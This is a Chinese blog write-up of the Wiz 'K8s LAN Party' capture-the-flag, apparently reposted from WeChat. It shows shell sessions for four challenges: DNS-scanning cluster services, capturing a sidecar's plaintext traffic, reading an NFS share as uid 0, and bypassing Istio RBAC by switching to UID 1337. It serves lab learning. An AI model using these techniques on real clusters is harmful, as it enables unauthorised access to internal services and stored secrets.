地址
https://k8slanparty.com/
挑战1
题目提示
"星际DNS之旅"
你已经成功入侵了一个 Kubernetes Pod,接下来的目标是进一步入侵其他内部服务。
作为热身,利用DNS扫描来发现隐藏的内部服务,并获取标志。我们已经为您的机器预装了dnscan,以便为后续挑战简化这个过程。
知识点
集群中利用 DNS 来发现 Service,具体原理请移步我这篇文章:https://mp.weixin.qq.com/s/uUPSqhThajYm7tJiFB2AmQ
解题
先查看环境变量,大致确认某一部分 Service 的网段,再利用环境中提供的 dnscan 工具扫描该网段,通过扫描发现了一个 Service 资产 getflag-service.k8s-lan-party.svc.cluster.local.
,
player@wiz-k8s-lan-party:~$ env | grep SERVICE_HOST
KUBERNETES_SERVICE_HOST=10.100.0.1
player@wiz-k8s-lan-party:~$ dnscan -h
Usage of dnscan:
-subnet string
Input to scan, CIDR notation (e.g., 10.5.0.0/24) or wildcard (e.g., 10.5.0.*)
player@wiz-k8s-lan-party:~$ dnscan -subnet 10.100.0.1/16
34965 / 65536 [---------------------------------------------------------------------->_____________________________________________________________] 53.35% 986 p/s
10.100.136.254 -> getflag-service.k8s-lan-party.svc.cluster.local.
65458 / 65536 [----------------------------------------------------------------------------------------------------------------------------------->] 99.88% 982 p/s
10.100.136.254 -> getflag-service.k8s-lan-party.svc.cluster.local.
65536 / 65536 [-----------------------------------------------------------------------------------------------------------------------------------] 100.00% 921 p/s
尝试查看这个 Service 的 SRV 记录以获取其端口信息,但是失败,尝试直接 curl 一下这个 Service 的 80 端口,成功获取 flag。
player@wiz-k8s-lan-party:~$ dig +short SRV getflag-service.k8s-lan-party.svc.cluster.local.
player@wiz-k8s-lan-party:~$ curl getflag-service.k8s-lan-party.svc.cluster.local.
wiz_k8s_lan_party{between-thousands-of-ips-you-found-your-northen-star}
挑战2
题目提示
你好?
有时候,似乎我们是唯一在附近的人,但我们应该时刻警惕隐形的sidecars,可能会报告敏感的秘密。
知识点
Sidecar 容器与主容器共享相同的生命周期、资源和网络命名空间。延展来说同一个 Pod 里面的容器,其他的命名空间都是隔离的,但是 Network 命名空间是公用的。https://kubernetes.io/docs/concepts/workloads/pods/sidecar-containers/
解题
往贡献 Network 命名空间方面想,可先查看一下当前 Pod 中的网络信息,比如当前 Pod 的 IP 信息,
~$ ip a |grep inet :
inet 127.0.0.1/8 scope host lo
inet6 ::1/128 scope host
inet 192.168.6.185/31 scope global ns-fecf71
inet6 fe80::8cda:5eff:fe87:2dc9/64 scope link
查看一下网络连接信息,可得我们当前的 Pod 会不断的向 10.100.171.123:80
发起 TCP 请求,
~$ netstat -neo :
Active Internet connections (w/o servers)
Proto Recv-Q Send-Q Local Address Foreign Address State User Inode Timer
tcp 0 0 192.168.6.185:59908 10.100.171.123:80 TIME_WAIT 0 0 timewait (59.94/0/0)
tcp 0 0 192.168.6.185:39610 10.100.171.123:80 TIME_WAIT 0 0 timewait (39.88/0/0)
tcp 0 0 192.168.6.185:42698 10.100.171.123:80 TIME_WAIT 0 0 timewait (29.86/0/0)
tcp 0 0 192.168.6.185:59894 10.100.171.123:80 TIME_WAIT 0 0 timewait (54.92/0/0)
tcp 0 0 192.168.6.185:50188 10.100.171.123:80 TIME_WAIT 0 0 timewait (4.80/0/0)
tcp 0 0 192.168.6.185:42690 10.100.171.123:80 TIME_WAIT 0 0 timewait (24.85/0/0)
tcp 0 0 192.168.6.185:39600 10.100.171.123:80 TIME_WAIT 0 0 timewait (34.87/0/0)
tcp 0 0 192.168.6.185:50194 10.100.171.123:80 TIME_WAIT 0 0 timewait (9.81/0/0)
tcp 0 0 192.168.6.185:46666 10.100.171.123:80 TIME_WAIT 0 0 timewait (44.90/0/0)
tcp 0 0 192.168.6.185:42984 10.100.171.123:80 TIME_WAIT 0 0 timewait (19.84/0/0)
tcp 0 0 192.168.6.185:42970 10.100.171.123:80 TIME_WAIT 0 0 timewait (14.82/0/0)
tcp 0 0 192.168.6.185:60900 10.100.171.123:80 TIME_WAIT 0 0 timewait (0.00/0/0)
tcp 0 0 192.168.6.185:46678 10.100.171.123:80 TIME_WAIT 0 0 timewait (49.91/0/0)
Active UNIX domain sockets (w/o servers)
Proto RefCnt Flags Type State I-Node Path
进一步我们可以查找一下是哪个进程在进行上面的 TCP 连接。下面的命令结果可能是由于找不到与连接相关的进程 ID而导致的,所以推测,向 10.100.171.123:80
发起 TCP 请求的进程并不处于当前的 Pod 容器中,而是同一个 Pod 下其他的容器,也就是提示中"隐形的 Sidecar 容器",
player@wiz-k8s-lan-party:~$ ss -t -o state time-wait '( sport = :80 )' | awk '{print $6}' | sort | uniq -c
1 Address:PortProcess
这样的话,我们可以捕获一下上面的 TCP 连接,正好是 80 端口的,明文传输,等待十几秒,捕获足够的流量数据,成功在流量中获得 flag。
player@wiz-k8s-lan-party:~$ tcpdump host 10.100.171.123 -w 123.pcap
tcpdump: listening on ns-fecf71, link-type EN10MB (Ethernet), snapshot length 262144 bytes
^C50 packets captured
50 packets received by filter
0 packets dropped by kernel
player@wiz-k8s-lan-party:~$ ls
123.pcap
player@wiz-k8s-lan-party:~$ cat 123.pcap
wiz_k8s_lan_party{good-crime-comes-with-a-partner-in-a-sidecar}Ðúe÷µBBÚ^-ÉÎ÷ÏE4î©@Ù
d«{À¨¹P
øî×»Uü}g
þL¹öw;ÑÐúeÖ½Ú^-ÉÎ÷ÏEîª@
d«{À¨¹P
øî×»Uü~4
þL»öw;ÑHTTP/1.1 200 OK
server: istio-envoy
date: Wed, 20 Mar 2024 12:01:27 GMT
content-type: text/plain
x-envoy-upstream-service-time: 1
x-envoy-decorator-operation: :0/*
transfer-encoding: chunked
0
挑战3
题目提示
暴露的文件共享
目标大型企业在生产中使用过时但受云支持的数据存储技术。但天哪,这项技术是在只有基于网络的访问控制的时代引入的。
你可能会发现查看 nfs-cat 和 nfs-ls 的文档很有用。
知识点
nfs-cat 和 nfs-ls 的使用。
解题
问:在K8S集群中NFS的作用
PV(PersistentVolume)和 PVC(PersistentVolumeClaim)对象来使用 NFS 作为持久性存储。
NFS 服务器,将其挂载到集群的节点上。
PV 对象来描述 NFS 服务器上的存储,
PVC 对象来请求这个 PV。
Pod 可以通过 PVC 使用这个 NFS 存储来持久地存储数据。
NFS 在集群中的主要用途之一是提供共享存储,以便多个 Pod 可以访问和共享相同的数据。
查看当前挂载信息中 NFS 挂载,可得 NFS 服务器的地址和共享路径:fs-0779524599b7d5e7e.efs.us-west-1.amazonaws.com
;NFS 共享被挂载到本地的目标目录 /efs
。挂载信息总结来说:本地文件系统上的 /efs 目录被挂载到了 AWS 的 NFS 服务器上,这个 NFS 挂载是以只读方式挂载的,而且使用了 NFSv4.1 协议。
player -k8s-lan-party:~$ mount | grep nfs
fs-0779524599b7d5e7e.efs.us-west-1.amazonaws.com:/ on /efs type nfs4 (ro,relatime,vers=4.1,rsize=1048576,wsize=1048576,namlen=255,hard,noresvport,proto=tcp,timeo=600,retrans=2,sec=sys,clientaddr=192.168.4.189,local_lock=none,addr=192.168.124.98)
查看本地的目标目录 /efs
,发现 flag.txt
,读取它则失败,显示权限不够,
player@wiz-k8s-lan-party:~$ ls -a /efs
. .. flag.txt
player@wiz-k8s-lan-party:~$ cat /efs/flag.txt
cat: /efs/flag.txt: Permission denied
提示中 nfs-cat 和 nfs-ls 还没用,nfs-ls 可以用于列出指定 NFS 共享文件系统中的文件和目录,指定了 NFS 服务器的地址(从上文挂载信息中获取)、指定了 NFS 协议的版本号为 4.1,并以超级用户的权限进行访问;nfs-cat 可以用于从指定 NFS 共享文件系统中读取文件内容。
player@wiz-k8s-lan-party:~$ nfs-ls 'nfs://fs-0779524599b7d5e7e.efs.us-west-1.amazonaws.com/?version=4.1&uid=0&gid=0'
---------- 1 1 1 73 flag.txt
player@wiz-k8s-lan-party:~$ nfs-cat 'nfs://fs-0779524599b7d5e7e.efs.us-west-1.amazonaws.com//flag.txt?version=4.1&uid=0&gid=0'
wiz_k8s_lan_party{old-school-network-file-shares-infiltrated-the-cloud!}
挑战4
题目提示
《美丽与服务网格》
显然,新的服务网格技术对超级精英用户(root 用户)具有独特的吸引力。不要滥用这种权力;要负责任地并谨慎地使用它。
请尝试检查 Istio 的 IPTables 规则。
https://github.com/istio/istio/wiki/Understanding-IPTables-snapshot#use-pid-to-get-iptables
知识点
在 Istio 中 1337 用户的流量不会通过 Envoy 中,从而可以绕过 Istio 的规则。https://github.com/istio/istio/issues/4286
解题
一开始可能会没有太多头绪,可以用挑战1 的方法先扫描下 Service 资产,成功获取到 istio-protected-pod-service.k8s-lan-party.svc.cluster.local.
,和题目提示有关系,
root@wiz-k8s-lan-party:~# dnscan -subnet 10.100.0.1/16
57355 / 65536 [------------------------------------------------------------------------------------------------------------------->________________] 87.52% 997 p/s
65317 / 65536 [----------------------------------------------------------------------------------------------------------------------------------->] 99.67% 996 p/s
istio-protected-pod-service.k8s-lan-party.svc.cluster.local.
65513 / 65536 [----------------------------------------------------------------------------------------------------------------------------------->] 99.96% 996 p/s
尝试 curl 一下其 80 端口,没有权限,
rootprotected-pod-service.k8s-lan-party.svc.cluster.local. -k8s-lan-party:~# curl istio-
RBAC: access denied
到这里,突然发现挑战4和前面三个挑战有一个很大的不同:root@wiz-k8s-lan-party
,当前是root权限,题目提示中也提到了。
分析提示中的链接,也就是下面的内容,https://github.com/istio/istio/wiki/Understanding-IPTables-snapshot#use-pid-to-get-iptables
[ssh node]$ sudo nsenter -t ${PROXY_PID} -n iptables-save
# Generated by iptables-save v1.6.1 on Fri May 29 05:00:49 2020
*nat
:PREROUTING ACCEPT [12921:775260]
:INPUT ACCEPT [12924:775440]
:OUTPUT ACCEPT [9987:716510]
:POSTROUTING ACCEPT [10019:718430]
:ISTIO_INBOUND - [0:0]
:ISTIO_IN_REDIRECT - [0:0]
:ISTIO_OUTPUT - [0:0]
:ISTIO_REDIRECT - [0:0]
-A PREROUTING -p tcp -j ISTIO_INBOUND
-A OUTPUT -p tcp -j ISTIO_OUTPUT
-A ISTIO_INBOUND -p tcp -m tcp --dport 22 -j RETURN
-A ISTIO_INBOUND -p tcp -m tcp --dport 15090 -j RETURN
-A ISTIO_INBOUND -p tcp -m tcp --dport 15020 -j RETURN
-A ISTIO_INBOUND -p tcp -j ISTIO_IN_REDIRECT
-A ISTIO_IN_REDIRECT -p tcp -j REDIRECT --to-ports 15006
-A ISTIO_OUTPUT -s 127.0.0.6/32 -o lo -j RETURN
-A ISTIO_OUTPUT ! -d 127.0.0.1/32 -o lo -m owner --uid-owner 1337 -j ISTIO_IN_REDIRECT
-A ISTIO_OUTPUT -o lo -m owner ! --uid-owner 1337 -j RETURN
-A ISTIO_OUTPUT -m owner --uid-owner 1337 -j RETURN
-A ISTIO_OUTPUT ! -d 127.0.0.1/32 -o lo -m owner --gid-owner 1337 -j ISTIO_IN_REDIRECT
-A ISTIO_OUTPUT -o lo -m owner ! --gid-owner 1337 -j RETURN
-A ISTIO_OUTPUT -m owner --gid-owner 1337 -j RETURN
-A ISTIO_OUTPUT -d 127.0.0.1/32 -j RETURN
-A ISTIO_OUTPUT -j ISTIO_REDIRECT
-A ISTIO_REDIRECT -p tcp -j REDIRECT --to-ports 15001
COMMIT
根据 iptables 规则中的描述可以得知,来自 UID 和 GID 为 1337 的流量不会被重定向。具体来说,以下这两条规则指定了针对 UID 和 GID 为 1337 的流量的处理方式:
-A ISTIO_OUTPUT ! -d 127.0.0.1/32 -o lo -m owner --uid-owner 1337 -j ISTIO_IN_REDIRECT
-A ISTIO_OUTPUT ! -d 127.0.0.1/32 -o lo -m owner --gid-owner 1337 -j ISTIO_IN_REDIRECT
如果流量的 UID 或 GID 等于 1337,那么这些流量会被重定向到 ISTIO_IN_REDIRECT 链,规则中定义了一个空的自定义链 ISTIO_IN_REDIRECT,:ISTIO_IN_REDIRECT - [0:0]
,
最后一条规则 -A ISTIO_OUTPUT -d 127.0.0.1/32 -j RETURN
,指定了对于目标地址为 127.0.0.1 的流量不进行任何处理而直接返回。
因此来自 UID 和 GID 为 1337 的流量在目标地址为 127.0.0.1 的情况下会被直接返回,不会被重定向。
在 Istio 中 1337 用户的流量不会通过 Envoy 中,从而可以绕过 Istio 的规则。具体风险分析:https://github.com/istio/istio/issues/4286。
查看当前系统中所有用户以及其UID,发现存在 UID 为 1337 的用户 istio,切换到该用户,再重新 curl 一下那个没有权限访问的 Service,成功获取 flag。这些操作都是需要拥有容器中 root 权限的。
root@wiz-k8s-lan-party:~# cut -d: -f1,3 /etc/passwd
root:0
...
...
istio:1337
player:1001
root@wiz-k8s-lan-party:~# su istio
$ id
uid=1337(istio) gid=1337(istio) groups=1337(istio)
$ curl istio-protected-pod-service.k8s-lan-party.svc.cluster.local.
wiz_k8s_lan_party{only-leet-hex0rs-can-play-both-k8s-and-linux}$
挑战5
写起来有点麻烦。额到点了,想去玩暗区突围了!这篇文章赶急写的,挑战5以及前面几个挑战的更加详解文 后面抽空写完就放在付费课程中啦(没办法公众号文章不便修改 又不想重复发 又想趁热度早点发 最近又没时间细写🤣),上号!
感谢
@yoshino-s @DVKunion
原文始发于微信公众号(安全小将李坦然):【云安全CTF】WIZ最新出品 K8S Lan Party WP
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论